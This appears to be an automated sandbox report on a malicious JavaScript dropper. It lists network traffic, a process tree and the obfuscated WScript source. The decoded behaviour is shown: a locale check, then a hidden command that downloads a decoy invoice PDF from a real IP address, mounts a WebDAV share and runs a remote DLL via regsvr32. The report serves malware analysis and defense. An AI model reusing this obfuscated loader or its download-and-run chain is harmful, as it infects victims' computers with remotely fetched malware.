Jan 11, 2025 06:04:48.274343014 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 06:04:48.274353981 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 06:04:48.274367094 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 06:04:48.274378061 CET	448	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 06:04:48.274401903 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 11, 2025 06:04:48.279031992 CET	1116	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6600	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:04:50.075258970 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:04:50.890369892 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:04:50 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	00:04:43
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13134167581645321294.js"
Imagebase:	0x7ff71b9a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:04:43
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll
Imagebase:	0x7ff64e570000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:04:43
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:04:44
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:04:48
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	00:04:48
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff64e570000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:04:48
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6d4180000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:04:49
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:04:49
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	00:04:49
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1740,i,8706467491395419620,10686934641239269085,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function wgrbxuo() {	wgrbxuo() ➔ undefined
1	zfialjk = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var yxorzxy = this[yaekill + smajk + nkbpxfa + ctweue + pjsmzw + whcnauei + tpafdg + dqwme] ( this[wzxpcge + aiibo + yrljgbj + nkbpxfa + kkfbmzyi + yaekill + dqwme][vapeudun + nkbpxfa + pjsmzw + smajk + dqwme + pjsmzw + vchqsz + ucrabeqlr + ocyxmiha + pjsmzw + yrljgbj + dqwme] ( wzxpcge + aiibo + yrljgbj + nkbpxfa + kkfbmzyi + yaekill + dqwme + tebghk + aiibo + nepfhasd + pjsmzw + pmquvgzsp + pmquvgzsp ) [htgphk + pjsmzw + nlreyfpos + htgphk + pjsmzw + smajk + dseuigy] ( nkioovuib + tmrzqofu + qzwoouwx + wsfrjg + mwzabjvy + vapeudun + gokads + htgphk + htgphk + qzwoouwx + ougstux + wqkazyr + mwzabjvy + gokads + aiibo + qzwoouwx + htgphk + eecwizmyf + vapeudun + igrmgujaa + tpafdg + dqwme + nkbpxfa + igrmgujaa + pmquvgzsp + etzdaw + cweppxg + smajk + tpafdg + pjsmzw + pmquvgzsp + eecwizmyf + whcnauei + tpafdg + dqwme + pjsmzw + nkbpxfa + tpafdg + smajk + dqwme + kkfbmzyi + igrmgujaa + tpafdg + smajk + pmquvgzsp + eecwizmyf + yhnuicof + igrmgujaa + yrljgbj + smajk + pmquvgzsp + pjsmzw ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( rdevc = 0 ; rdevc < zfialjk[pmquvgzsp + pjsmzw + tpafdg + nlreyfpos + dqwme + nepfhasd] ; ++ rdevc )
4	{
5	if ( yxorzxy == zfialjk[rdevc] )
6	{
7	yxorzxy = true;
8	break ;
9	}
10	}
11	if ( yxorzxy !== true )
12	this[wzxpcge + aiibo + yrljgbj + nkbpxfa + kkfbmzyi + yaekill + dqwme][wbnbsd + mrqloqdbf + kkfbmzyi + dqwme] ( );
13	this[wzxpcge + aiibo + yrljgbj + nkbpxfa + kkfbmzyi + yaekill + dqwme][vapeudun + nkbpxfa + pjsmzw + smajk + dqwme + pjsmzw + vchqsz + ucrabeqlr + ocyxmiha + pjsmzw + yrljgbj + dqwme] ( wzxpcge + aiibo + yrljgbj + nkbpxfa + kkfbmzyi + yaekill + dqwme + tebghk + aiibo + nepfhasd + pjsmzw + pmquvgzsp + pmquvgzsp ) [nkbpxfa + mrqloqdbf + tpafdg] ( yrljgbj + abwlqk + dseuigy + etzdaw + mjolu + yrljgbj + etzdaw + yaekill + igrmgujaa + ozgpds + pjsmzw + nkbpxfa + ctweue + nepfhasd + pjsmzw + pmquvgzsp + pmquvgzsp + tebghk + pjsmzw + gvjipv + pjsmzw + etzdaw + tcowshg + vapeudun + igrmgujaa + abwlqk + abwlqk + smajk + tpafdg + dseuigy + etzdaw + yrwffbpfc + whcnauei + tpafdg + cjeyhr + igrmgujaa + xzovgrt + pjsmzw + tcowshg + wzxpcge + pjsmzw + ucrabeqlr + htgphk + pjsmzw + nqlzav + mrqloqdbf + pjsmzw + ctweue + dqwme + etzdaw + tcowshg + vchqsz + mrqloqdbf + dqwme + njwoche + kkfbmzyi + pmquvgzsp + pjsmzw + etzdaw + truzy + dqwme + pjsmzw + abwlqk + yaekill + truzy + eecwizmyf + kkfbmzyi + tpafdg + cjeyhr + igrmgujaa + kkfbmzyi + yrljgbj + pjsmzw + tebghk + yaekill + dseuigy + dboqf + etzdaw + nepfhasd + dqwme + dqwme + yaekill + kwkblph + mjolu + mjolu + jhsxa + wqerxzck + ugssyb + tebghk + jhsxa + qvivn + ugssyb + tebghk + jhsxa + tebghk + mjmwrr + oltcfzdur + cexstw + mjolu + kkfbmzyi + tpafdg + cjeyhr + igrmgujaa + kkfbmzyi + yrljgbj + pjsmzw + tebghk + yaekill + nepfhasd + yaekill + yrwffbpfc + bveep + bveep + ctweue + dqwme + smajk + nkbpxfa + dqwme + etzdaw + truzy + dqwme + pjsmzw + abwlqk + yaekill + truzy + eecwizmyf + kkfbmzyi + tpafdg + cjeyhr + igrmgujaa + kkfbmzyi + yrljgbj + pjsmzw + tebghk + yaekill + dseuigy + dboqf + bveep + bveep + yrljgbj + abwlqk + dseuigy + etzdaw + mjolu + yrljgbj + etzdaw + tpafdg + pjsmzw + dqwme + etzdaw + mrqloqdbf + ctweue + pjsmzw + etzdaw + eecwizmyf + eecwizmyf + jhsxa + wqerxzck + ugssyb + tebghk + jhsxa + qvivn + ugssyb + tebghk + jhsxa + tebghk + mjmwrr + oltcfzdur + cexstw + blpocviys + uzrqvb + uzrqvb + uzrqvb + uzrqvb + eecwizmyf + dseuigy + smajk + cjeyhr + ozgpds + ozgpds + ozgpds + nkbpxfa + igrmgujaa + igrmgujaa + dqwme + eecwizmyf + bveep + bveep + yrljgbj + abwlqk + dseuigy + etzdaw + mjolu + yrljgbj + etzdaw + nkbpxfa + pjsmzw + nlreyfpos + ctweue + cjeyhr + nkbpxfa + ugssyb + mjmwrr + etzdaw + mjolu + ctweue + etzdaw + eecwizmyf + eecwizmyf + jhsxa + wqerxzck + ugssyb + tebghk + jhsxa + qvivn + ugssyb + tebghk + jhsxa + tebghk + mjmwrr + oltcfzdur + cexstw + blpocviys + uzrqvb + uzrqvb + uzrqvb + uzrqvb + eecwizmyf + dseuigy + smajk + cjeyhr + ozgpds + ozgpds + ozgpds + nkbpxfa + igrmgujaa + igrmgujaa + dqwme + eecwizmyf + mjmwrr + cexstw + oltcfzdur + mjmwrr + qvivn + ugssyb + oltcfzdur + oltcfzdur + ugssyb + qvivn + jhsxa + mjmwrr + oltcfzdur + ytkefzu + oltcfzdur + tebghk + dseuigy + pmquvgzsp + pmquvgzsp, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll",0,false) ➔ 0
14	}
15	smajk = "s";
16	smajk = "G";
17	smajk = "g";
18	smajk = "X";
19	smajk = "D";
20	smajk = "Y";
21	smajk = "Y";
22	smajk = "o";
23	smajk = "P";
24	smajk = "N";
25	smajk = "G";
26	smajk = "a";
27	smajk = "s";
28	smajk = "Y";
29	smajk = "B";
30	smajk = "j";
31	smajk = "j";
32	smajk = "i";
33	smajk = "W";
34	smajk = "n";
35	smajk = "O";
36	smajk = "v";
37	smajk = "j";
38	smajk = "G";
39	smajk = "a";
40	smajk = "N";
41	smajk = "a";
42	kwkblph = "x";
43	kwkblph = "a";
44	kwkblph = "I";
45	kwkblph = "P";
46	kwkblph = "l";
47	kwkblph = "X";
48	kwkblph = "g";
49	kwkblph = "M";
50	kwkblph = "K";
51	kwkblph = "A";
52	kwkblph = "e";
53	kwkblph = "U";
54	kwkblph = "r";
55	kwkblph = "J";
56	kwkblph = "E";
57	kwkblph = "K";
58	kwkblph = "S";
59	kwkblph = "N";
60	kwkblph = "c";
61	kwkblph = "r";
62	kwkblph = "E";
63	kwkblph = "Y";
64	kwkblph = "P";
65	kwkblph = "n";
66	kwkblph = "s";
67	kwkblph = "Y";
68	kwkblph = "N";
69	kwkblph = "E";
70	kwkblph = "m";
71	kwkblph = "k";
72	kwkblph = "B";
73	kwkblph = "C";
74	kwkblph = "Z";
75	kwkblph = "U";
76	kwkblph = "a";
77	kwkblph = "V";
78	kwkblph = "P";
79	kwkblph = "Y";
80	kwkblph = "z";
81	kwkblph = "g";
82	kwkblph = "x";
83	kwkblph = "l";
84	kwkblph = "d";
85	kwkblph = "h";
86	kwkblph = ":";
87	njwoche = "q";
88	njwoche = "u";
89	njwoche = "D";
90	njwoche = "k";
91	njwoche = "T";
92	njwoche = "L";
93	njwoche = "O";
94	njwoche = "I";
95	njwoche = "z";
96	njwoche = "A";
97	njwoche = "j";
98	njwoche = "Q";
99	njwoche = "j";
100	njwoche = "h";
101	njwoche = "k";
102	njwoche = "M";
103	njwoche = "F";
104	wzxpcge = "o";
105	wzxpcge = "o";
106	wzxpcge = "r";
107	wzxpcge = "R";
108	wzxpcge = "W";
109	wzxpcge = "f";
110	wzxpcge = "K";
111	wzxpcge = "D";
112	wzxpcge = "V";
113	wzxpcge = "g";
114	wzxpcge = "w";
115	wzxpcge = "H";
116	wzxpcge = "V";
117	wzxpcge = "N";
118	wzxpcge = "W";
119	gokads = "S";
120	gokads = "F";
121	gokads = "o";
122	gokads = "J";
123	gokads = "o";
124	gokads = "H";
125	gokads = "a";
126	gokads = "L";
127	gokads = "N";
128	gokads = "w";
129	gokads = "t";
130	gokads = "c";
131	gokads = "E";
132	gokads = "S";
133	gokads = "G";
134	gokads = "L";
135	gokads = "f";
136	gokads = "c";
137	gokads = "u";
138	gokads = "d";
139	gokads = "y";
140	gokads = "U";
141	mrqloqdbf = "v";
142	mrqloqdbf = "Z";
143	mrqloqdbf = "n";
144	mrqloqdbf = "Y";
145	mrqloqdbf = "D";
146	mrqloqdbf = "p";
147	mrqloqdbf = "u";
148	mrqloqdbf = "J";
149	mrqloqdbf = "Z";
150	mrqloqdbf = "A";
151	mrqloqdbf = "V";
152	mrqloqdbf = "C";
153	mrqloqdbf = "P";
154	mrqloqdbf = "w";
155	mrqloqdbf = "J";
156	mrqloqdbf = "w";
157	mrqloqdbf = "g";
158	mrqloqdbf = "r";
159	mrqloqdbf = "v";
160	mrqloqdbf = "C";
161	mrqloqdbf = "E";
162	mrqloqdbf = "W";
163	mrqloqdbf = "T";
164	mrqloqdbf = "c";
165	mrqloqdbf = "L";
166	mrqloqdbf = "u";
167	mrqloqdbf = "N";
168	mrqloqdbf = "L";
169	mrqloqdbf = "d";
170	mrqloqdbf = "N";
171	mrqloqdbf = "Y";
172	mrqloqdbf = "A";
173	mrqloqdbf = "H";
174	mrqloqdbf = "l";
175	mrqloqdbf = "J";
176	mrqloqdbf = "p";
177	mrqloqdbf = "D";
178	mrqloqdbf = "R";
179	mrqloqdbf = "K";
180	mrqloqdbf = "S";
181	mrqloqdbf = "T";
182	mrqloqdbf = "F";
183	mrqloqdbf = "v";
184	mrqloqdbf = "u";
185	wbnbsd = "L";
186	wbnbsd = "W";
187	wbnbsd = "h";
188	wbnbsd = "o";
189	wbnbsd = "n";
190	wbnbsd = "z";
191	wbnbsd = "w";
192	wbnbsd = "L";
193	wbnbsd = "l";
194	wbnbsd = "H";
195	wbnbsd = "q";
196	wbnbsd = "u";
197	wbnbsd = "z";
198	wbnbsd = "u";
199	wbnbsd = "Y";
200	wbnbsd = "d";
201	wbnbsd = "g";
202	wbnbsd = "J";
203	wbnbsd = "n";
204	wbnbsd = "u";
205	wbnbsd = "W";
206	wbnbsd = "B";
207	wbnbsd = "K";
208	wbnbsd = "e";
209	wbnbsd = "m";
210	wbnbsd = "X";
211	wbnbsd = "D";
212	wbnbsd = "v";
213	wbnbsd = "a";
214	wbnbsd = "t";
215	wbnbsd = "e";
216	wbnbsd = "I";
217	wbnbsd = "H";
218	wbnbsd = "Z";
219	wbnbsd = "o";
220	wbnbsd = "Z";
221	wbnbsd = "E";
222	wbnbsd = "E";
223	wbnbsd = "A";
224	wbnbsd = "e";
225	wbnbsd = "Q";
226	etzdaw = "m";
227	etzdaw = "V";
228	etzdaw = "p";
229	etzdaw = "V";
230	etzdaw = "c";
231	etzdaw = "p";
232	etzdaw = "W";
233	etzdaw = "I";
234	etzdaw = "p";
235	etzdaw = "J";
236	etzdaw = "o";
237	etzdaw = "H";
238	etzdaw = "G";
239	etzdaw = "W";
240	etzdaw = "m";
241	etzdaw = "c";
242	etzdaw = "N";
243	etzdaw = "D";
244	etzdaw = "a";
245	etzdaw = "r";
246	etzdaw = "q";
247	etzdaw = "N";
248	etzdaw = " ";
249	qzwoouwx = "F";
250	qzwoouwx = "k";
251	qzwoouwx = "m";
252	qzwoouwx = "J";
253	qzwoouwx = "t";
254	qzwoouwx = "C";
255	qzwoouwx = "q";
256	qzwoouwx = "F";
257	qzwoouwx = "h";
258	qzwoouwx = "E";
259	qzwoouwx = "b";
260	qzwoouwx = "R";
261	qzwoouwx = "z";
262	qzwoouwx = "B";
263	qzwoouwx = "t";
264	qzwoouwx = "x";
265	qzwoouwx = "l";
266	qzwoouwx = "P";
267	qzwoouwx = "i";
268	qzwoouwx = "Z";
269	qzwoouwx = "n";
270	qzwoouwx = "Z";
271	qzwoouwx = "K";
272	qzwoouwx = "v";
273	qzwoouwx = "e";
274	qzwoouwx = "U";
275	qzwoouwx = "l";
276	qzwoouwx = "k";
277	qzwoouwx = "w";
278	qzwoouwx = "g";
279	qzwoouwx = "E";
280	htgphk = "j";
281	htgphk = "s";
282	htgphk = "d";
283	htgphk = "k";
284	htgphk = "g";
285	htgphk = "I";
286	htgphk = "J";
287	htgphk = "z";
288	htgphk = "n";
289	htgphk = "u";
290	htgphk = "q";
291	htgphk = "t";
292	htgphk = "H";
293	htgphk = "a";
294	htgphk = "u";
295	htgphk = "l";
296	htgphk = "C";
297	htgphk = "d";
298	htgphk = "i";
299	htgphk = "p";
300	htgphk = "R";
301	htgphk = "q";
302	htgphk = "W";
303	htgphk = "e";
304	htgphk = "i";
305	htgphk = "v";
306	htgphk = "L";
307	htgphk = "w";
308	htgphk = "q";
309	htgphk = "o";
310	htgphk = "K";
311	htgphk = "X";
312	htgphk = "w";
313	htgphk = "b";
314	htgphk = "N";
315	htgphk = "C";
316	htgphk = "R";
317	ucrabeqlr = "o";
318	ucrabeqlr = "k";
319	ucrabeqlr = "K";
320	ucrabeqlr = "G";
321	ucrabeqlr = "e";
322	ucrabeqlr = "W";
323	ucrabeqlr = "x";
324	ucrabeqlr = "g";
325	ucrabeqlr = "K";
326	ucrabeqlr = "z";
327	ucrabeqlr = "m";
328	ucrabeqlr = "V";
329	ucrabeqlr = "q";
330	ucrabeqlr = "v";
331	ucrabeqlr = "D";
332	ucrabeqlr = "A";
333	ucrabeqlr = "s";
334	ucrabeqlr = "z";
335	ucrabeqlr = "M";
336	ucrabeqlr = "b";
337	oltcfzdur = "p";
338	oltcfzdur = "h";
339	oltcfzdur = "t";
340	oltcfzdur = "C";
341	oltcfzdur = "M";
342	oltcfzdur = "e";
343	oltcfzdur = "0";
344	ugssyb = "a";
345	ugssyb = "d";
346	ugssyb = "Z";
347	ugssyb = "z";
348	ugssyb = "x";
349	ugssyb = "s";
350	ugssyb = "d";
351	ugssyb = "D";
352	ugssyb = "V";
353	ugssyb = "W";
354	ugssyb = "j";
355	ugssyb = "y";
356	ugssyb = "T";
357	ugssyb = "e";
358	ugssyb = "b";
359	ugssyb = "h";
360	ugssyb = "f";
361	ugssyb = "Y";
362	ugssyb = "U";
363	ugssyb = "C";
364	ugssyb = "B";
365	ugssyb = "f";
366	ugssyb = "s";
367	ugssyb = "p";
368	ugssyb = "3";
369	mwzabjvy = "C";
370	mwzabjvy = "W";
371	mwzabjvy = "X";
372	mwzabjvy = "d";
373	mwzabjvy = "r";
374	mwzabjvy = "l";
375	mwzabjvy = "u";
376	mwzabjvy = "_";
377	eecwizmyf = "A";
378	eecwizmyf = "O";
379	eecwizmyf = "l";
380	eecwizmyf = "g";
381	eecwizmyf = "M";
382	eecwizmyf = "M";
383	eecwizmyf = "o";
384	eecwizmyf = "Z";
385	eecwizmyf = "v";
386	eecwizmyf = "p";
387	eecwizmyf = "v";
388	eecwizmyf = "s";
389	eecwizmyf = "k";
390	eecwizmyf = "D";
391	eecwizmyf = "K";
392	eecwizmyf = "a";
393	eecwizmyf = "R";
394	eecwizmyf = "C";
395	eecwizmyf = "v";
396	eecwizmyf = "S";
397	eecwizmyf = "U";
398	eecwizmyf = "Y";
399	eecwizmyf = "w";
400	eecwizmyf = "m";
401	eecwizmyf = "q";
402	eecwizmyf = "C";
403	eecwizmyf = "a";
404	eecwizmyf = "v";
405	eecwizmyf = "P";
406	eecwizmyf = "V";
407	eecwizmyf = "A";
408	eecwizmyf = "x";
409	eecwizmyf = "K";
410	eecwizmyf = "O";
411	eecwizmyf = "Q";
412	eecwizmyf = "h";
413	eecwizmyf = "a";
414	eecwizmyf = "m";
415	eecwizmyf = "n";
416	eecwizmyf = "h";
417	eecwizmyf = "f";
418	eecwizmyf = "\\";
419	igrmgujaa = "g";
420	igrmgujaa = "q";
421	igrmgujaa = "L";
422	igrmgujaa = "O";
423	igrmgujaa = "e";
424	igrmgujaa = "o";
425	gvjipv = "u";
426	gvjipv = "R";
427	gvjipv = "y";
428	gvjipv = "x";
429	gvjipv = "s";
430	gvjipv = "k";
431	gvjipv = "o";
432	gvjipv = "Q";
433	gvjipv = "Q";
434	gvjipv = "S";
435	gvjipv = "n";
436	gvjipv = "F";
437	gvjipv = "K";
438	gvjipv = "q";
439	gvjipv = "s";
440	gvjipv = "c";
441	gvjipv = "p";
442	gvjipv = "q";
443	gvjipv = "N";
444	gvjipv = "J";
445	gvjipv = "x";
446	gvjipv = "I";
447	gvjipv = "e";
448	gvjipv = "I";
449	gvjipv = "T";
450	gvjipv = "C";
451	gvjipv = "m";
452	gvjipv = "v";
453	gvjipv = "W";
454	gvjipv = "B";
455	gvjipv = "x";
456	gvjipv = "i";
457	gvjipv = "C";
458	gvjipv = "U";
459	gvjipv = "Y";
460	gvjipv = "C";
461	gvjipv = "e";
462	gvjipv = "y";
463	gvjipv = "N";
464	gvjipv = "O";
465	gvjipv = "y";
466	gvjipv = "o";
467	gvjipv = "x";
468	uzrqvb = "a";
469	uzrqvb = "Y";
470	uzrqvb = "k";
471	uzrqvb = "O";
472	uzrqvb = "j";
473	uzrqvb = "H";
474	uzrqvb = "A";
475	uzrqvb = "j";
476	uzrqvb = "K";
477	uzrqvb = "i";
478	uzrqvb = "m";
479	uzrqvb = "v";
480	uzrqvb = "v";
481	uzrqvb = "8";
482	whcnauei = "o";
483	whcnauei = "N";
484	whcnauei = "s";
485	whcnauei = "X";
486	whcnauei = "l";
487	whcnauei = "i";
488	whcnauei = "x";
489	whcnauei = "r";
490	whcnauei = "E";
491	whcnauei = "Q";
492	whcnauei = "Y";
493	whcnauei = "r";
494	whcnauei = "k";
495	whcnauei = "r";
496	whcnauei = "s";
497	whcnauei = "o";
498	whcnauei = "A";
499	whcnauei = "r";
500	whcnauei = "R";
501	whcnauei = "D";
502	whcnauei = "a";
503	whcnauei = "K";
504	whcnauei = "Y";
505	whcnauei = "P";
506	whcnauei = "e";
507	whcnauei = "g";
508	whcnauei = "K";
509	whcnauei = "r";
510	whcnauei = "g";
511	whcnauei = "K";
512	whcnauei = "q";
513	whcnauei = "W";
514	whcnauei = "I";
515	whcnauei = "r";
516	whcnauei = "p";
517	whcnauei = "m";
518	whcnauei = "l";
519	whcnauei = "v";
520	whcnauei = "o";
521	whcnauei = "r";
522	whcnauei = "E";
523	whcnauei = "P";
524	whcnauei = "S";
525	whcnauei = "I";
526	nkioovuib = "W";
527	nkioovuib = "X";
528	nkioovuib = "i";
529	nkioovuib = "l";
